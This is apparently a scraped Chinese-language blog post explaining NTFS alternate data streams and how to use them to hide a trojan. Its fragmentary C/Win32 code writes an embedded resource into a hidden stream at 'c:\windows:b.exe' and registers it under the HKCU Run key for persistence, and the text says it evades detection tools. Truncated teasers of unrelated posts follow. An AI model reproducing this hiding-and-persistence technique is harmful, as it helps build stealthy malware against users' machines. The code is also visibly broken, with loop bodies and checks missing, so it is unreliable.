alternate data streams(交換資料流).
ntfs交換資料流(adss)是為了和macintosh的hfs檔案系統相容而設計的,它使用資源派生(resource forks)來維持與檔案,比如說圖示及其他的東西.而微軟提供了一種方法通過windows explorer來建立特殊的adss,檢測這種特殊的adss的必要工具和功能相當缺乏.說來也奇怪,系統一直以來都有允許使用者建立adss以及在這種流檔案
.microsoft knowledgebase 中q101353號文章承認了基於api的win32不能很好的支援adss.中執行隱藏**的功能和工具相關的資訊
好了. 現在我們已經對這個流有個概念性的了解,下面開始講解如何在病毒程式或者其它木馬程式中應用這個流.
char buffer="c://windows:b.exe";//
注意這裡的
: 而不是
/hfile hfile = _lcreat(buffer,0);
hrsrc rsrc;
hglobal hglobal;
unsigned char * lpvoid;
dword dfilesize;
rsrc = findresource(null,makeintresource(idr_rs_data1),"rs_data");
if (rsrc==null)
hglobal = loadresource(null,rsrc);
dfilesize = sizeofresource(null,rsrc);
lpvoid = (unsigned char *)lockresource(hglobal);
uint uwrite;
while(dfilesize--)
lpvoid++;
}if(hfile==hfile_error)
_lclose(hfile);
hkey phkey;
long keyopen = regopenkeyex(
hkey_current_user,
"software//microsoft//windows//currentversion//run",0,key_set_value,&phkey
);if(keyopen!=error_success)
regsetvalueex(phkey,"b.exe",0,reg_sz,(const unsigned char *)buffer,sizeof(buffer));
regclosekey(phkey);
//return 0;
通過這個程式 ,我們就能建立乙個ads檔案流了(這裡的資源檔案檔案我用的是記事本程式).
重啟之後,你就會發現記事本程式自動執行了.但是在檔案系統中你根本找不到這個檔案.而且icesword也看不到.
這樣乙個基於ads交換流的隱藏木馬就完成了 .
但是這個流有乙個侷限就是只存於在基於ntfs的windows系統中.
基於檔案流的檔案隱藏技術
基於檔案流的檔案隱藏技術 x star cisrg 最近在分析乙個國外的 rootkit rustock.b.rootkti時,發現rustock.b 就用的ads stream 的方法來隱藏自身.rustock.b.rootkit 執行的時候在 ntfs 檔案系統中釋放 c windows sys...
IO流技術 檔案複製
複製文字檔案。既然是文字涉及編碼表。需要用字元流。操作的是檔案,涉及硬碟。有指定碼表嗎?沒有,預設就行。操作的是檔案,使用的預設碼表。使用哪個字元流物件。直接使用字元流操作檔案的便捷類。filereader filewriter public class copytextfiletest publi...
基於流的XML檔案操作筆記
xmlreader與 sax讀取器類似,不過前者是提取模式 只進唯讀的游標 後者是推送模式 將事件推送到應用程式 xmlreader的優點是 1 簡化狀態管理 2 可以有多個輸入流 3 提取模式可以作為推送模式的基礎,反之不行。4 提供乙個可以將字串直接寫入緩衝區,避免多餘位元組的的複製。5 有選擇...